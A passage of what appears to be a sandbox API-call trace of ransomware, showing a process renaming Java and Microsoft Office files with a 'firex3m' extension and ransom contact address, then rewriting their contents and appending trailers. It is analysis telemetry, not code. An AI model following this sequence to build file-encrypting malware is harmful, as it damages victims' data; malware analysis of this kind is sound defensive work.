lpNewFilePointer=0x0) returned 1 [0138.640] WriteFile (in: hFile=0x678, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.716] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.717] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.717] CloseHandle (hObject=0x678) returned 1 [0138.717] GetProcessHeap () returned 0x630000 [0138.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0138.718] GetProcessHeap () returned 0x630000 [0138.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0138.721] GetProcessHeap () returned 0x630000 [0138.721] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0138.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x18a0b9ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1edd72, dwReserved0=0xb307496, dwReserved1=0x6f06970, cFileName="nashorn.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NASHOR~1.FIR")) returned 0x6d4f00 [0138.721] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0138.721] Sleep (dwMilliseconds=0x1) [0138.772] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", len=0x5b | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml") returned 1 [0138.772] GetProcessHeap () returned 0x630000 [0138.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a20) returned 0x72b0508 [0138.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.848] CloseHandle (hObject=0x5e4) returned 1 [0138.848] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x24000024, dwReserved1=0x650064, cFileName="Arial Black-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARIALB~1.FIR")) returned 0x6d5280 [0138.850] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0138.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.850] GetProcessHeap () returned 0x630000 [0138.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72443f8 [0138.850] GetProcessHeap () returned 0x630000 [0138.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7246e10 [0138.850] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.850] ReadFile (in: hFile=0x5e4, lpBuffer=0x72443f8, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72443f8*, lpNumberOfBytesRead=0x41fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.865] GetProcessHeap () returned 0x630000 [0138.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0138.865] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.866] WriteFile (in: hFile=0x5e4, lpBuffer=0x7246e10*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7246e10*, lpNumberOfBytesWritten=0x41fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.866] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.866] WriteFile (in: hFile=0x5e4, lpBuffer=0x7247bcf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247bcf*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.866] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.866] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.866] CloseHandle (hObject=0x5e4) returned 1 [0138.866] GetProcessHeap () returned 0x630000 [0138.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7246e10 | out: hHeap=0x630000) returned 1 [0138.866] GetProcessHeap () returned 0x630000 [0138.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72443f8 | out: hHeap=0x630000) returned 1 [0138.866] GetProcessHeap () returned 0x630000 [0138.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0138.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18b88e82, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xded, dwReserved0=0x41ffd20, dwReserved1=0x72443f8, cFileName="Arial Black-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARIALB~1.FIR")) returned 0x6d5540 [0138.881] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0138.881] Sleep (dwMilliseconds=0x1) [0138.938] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", len=0x59 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 1 [0138.939] GetProcessHeap () returned 0x630000 [0138.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a14) returned 0x72b0508 [0138.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0138.939] CloseHandle (hObject=0x674) returned 1 [0138.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d753, dwReserved0=0x650064, dwReserved1=0x69002e, cFileName="Smokey Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SMOKEY~1.FIR")) returned 0x6d5340 [0138.940] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0138.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0138.941] GetProcessHeap () returned 0x630000 [0138.941] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1d0f0 [0138.941] GetProcessHeap () returned 0x630000 [0138.941] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7162868 [0138.942] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.942] ReadFile (in: hFile=0x674, lpBuffer=0x6f1d0f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d0f0*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.387] GetProcessHeap () returned 0x630000 [0142.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0142.387] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.387] WriteFile (in: hFile=0x674, lpBuffer=0x7162868*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162868*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.388] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.388] WriteFile (in: hFile=0x674, lpBuffer=0x716dc67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc67*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.339] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.339] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.339] CloseHandle (hObject=0x674) returned 1 [0143.339] GetProcessHeap () returned 0x630000 [0143.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7162868 | out: hHeap=0x630000) returned 1 [0143.339] GetProcessHeap () returned 0x630000 [0143.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1d0f0 | out: hHeap=0x630000) returned 1 [0143.340] GetProcessHeap () returned 0x630000 [0143.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0143.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b62d27c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d777, dwReserved0=0xb307496, dwReserved1=0x6f1d0e8, cFileName="Smokey Glass.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SMOKEY~1.FIR")) returned 0x6d5000 [0143.858] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.859] Sleep (dwMilliseconds=0x1) [0143.873] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL", len=0x3e | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL") returned 1 [0143.873] GetProcessHeap () returned 0x630000 [0143.873] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2678) returned 0x71f7c78 [0143.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0145.428] CloseHandle (hObject=0x648) returned 1 [0145.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x31af525, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x31af525, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x50a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GANTTV~1.FIR")) returned 0x6d5380 [0148.759] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0148.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0148.760] GetProcessHeap () returned 0x630000 [0148.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x704fe20 [0148.760] GetProcessHeap () returned 0x630000 [0148.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x705b250 [0148.760] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.760] ReadFile (in: hFile=0x648, lpBuffer=0x704fe20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x704fe20*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.020] GetProcessHeap () returned 0x630000 [0158.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0158.020] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.020] WriteFile (in: hFile=0x648, lpBuffer=0x705b250*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b250*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.021] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.021] WriteFile (in: hFile=0x648, lpBuffer=0x706664f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706664f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.024] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.025] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.025] CloseHandle (hObject=0x648) returned 1 [0158.025] GetProcessHeap () returned 0x630000 [0158.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b250 | out: hHeap=0x630000) returned 1 [0158.025] GetProcessHeap () returned 0x630000 [0158.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704fe20 | out: hHeap=0x630000) returned 1 [0158.025] GetProcessHeap () returned 0x630000 [0158.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0158.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x31af525, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x31af525, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2422c238, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50a74, dwReserved0=0xb307496, dwReserved1=0x704fe18, cFileName="GANTT.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GANTTV~1.FIR")) returned 0x6d4e00 [0158.026] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0158.026] Sleep (dwMilliseconds=0x1) [0158.029] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap", len=0x65 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap") returned 1 [0158.029] GetProcessHeap () returned 0x630000 [0158.029] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b84) returned 0x707d3d0 [0158.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\powerviewres.pl.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0158.030] CloseHandle (hObject=0x708) returned 1 [0158.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\powerviewres.pl.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\powerviewres.pl.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b4aee2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505dc, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.pl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5340 [0158.031] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0158.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\powerviewres.pl.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0158.031] GetProcessHeap () returned 0x630000 [0158.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fabfe8 [0158.031] GetProcessHeap () returned 0x630000 [0158.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 